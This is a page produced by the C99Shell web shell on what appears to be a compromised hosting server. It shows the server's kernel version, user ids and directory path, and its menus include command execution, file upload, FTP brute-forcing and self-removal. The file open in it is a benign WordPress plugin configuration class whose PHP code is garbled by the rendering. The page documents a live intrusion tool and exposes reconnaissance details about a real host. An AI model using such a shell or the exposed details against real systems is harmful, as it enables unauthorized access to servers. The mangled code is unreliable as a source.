!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/broken-link-checker/includes/   drwxr-xr-x
Free 180.69 GB of 490.84 GB (36.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     config-manager.php (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @author W-Shadow
 * @copyright 2009
 */

if ( !class_exists('blcConfigurationManager') ){

class 
blcConfigurationManager {
    
    var 
$option_name;
    
    var 
$options;
    var 
$defaults;
    var 
$loaded_values;

    
/**
     * @var bool Whether options have been successfully loaded from the database.
     */
    
public $db_option_loaded false;

    function 
__construct$option_name ''$default_settings null ){
        
$this->option_name $option_name;
        
        if ( 
is_array($default_settings) ){
            
$this->defaults $default_settings;
        } else {
            
$this->defaults = array();
        }
        
$this->loaded_values = array();
        
        
$this->options $this->defaults;
        
        if ( !empty( 
$this->option_name ) ) {
            
$this->load_options();
        }
    }
    
    function 
set_defaults$default_settings null ){
        if ( 
is_array($default_settings) ){
            
$this->defaults = array();
        } else {
            
$this->defaults $default_settings;
        }
        
$this->options array_merge($this->defaults$this->loaded_values);
    }
    
  
/**
   * blcOptionManager::load_options()
   * Load plugin options from the database. The current $options values are not affected
   * if this function fails.
   *
   * @param string $option_name
   * @return bool True if options were loaded, false otherwise. 
   */
    
function load_options$option_name '' ){
        
$this->db_option_loaded false;

        if ( !empty(
$option_name) ){
            
$this->option_name $option_name;
        }
        
        if ( empty(
$this->option_name) ) return false;
        
        
$new_options get_option($this->option_name);

        
//Decode JSON (if applicable).
        
if ( is_string($new_options) && !empty($new_options) ) {
            
$new_options json_decode($new_optionstrue);
        }

        if( !
is_array$new_options ) ){
            return 
false;
        } else {
            
$this->loaded_values $new_options;
            
$this->options array_merge$this->defaults$this->loaded_values );
            
$this->db_option_loaded true;
            return 
true;
        }
    }
    
  
/**
   * blcOptionManager::save_options()
   * Save plugin options to the database.
   *
   * @param string $option_name (Optional) Save the options under this name 
   * @return bool True if settings were saved, false if settings haven't been changed or if there was an error.
   */
    
function save_options$option_name '' ){
        if ( !empty(
$option_name) ){
            
$this->option_name $option_name;
        }
        
        if ( empty(
$this->option_name) ) return false;

        return 
update_option$this->option_namejson_encode($this->options) );
    }
    
    
/**
     * Retrieve a specific setting.
     * 
     * @param string $key
     * @param mixed $default
     * @return mixed
     */
    
function get($key$default null){
        if ( 
array_key_exists($key$this->options) ){
            return 
$this->options[$key];
        } else {
            return 
$default;
        }
    }
    
    
/**
     * Update or add a setting.
     * 
     * @param string $key
     * @param mixed $value
     * @return void
     */
    
function set($key$value){
        
$this->options[$key] = $value;
    }
}

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0223 ]--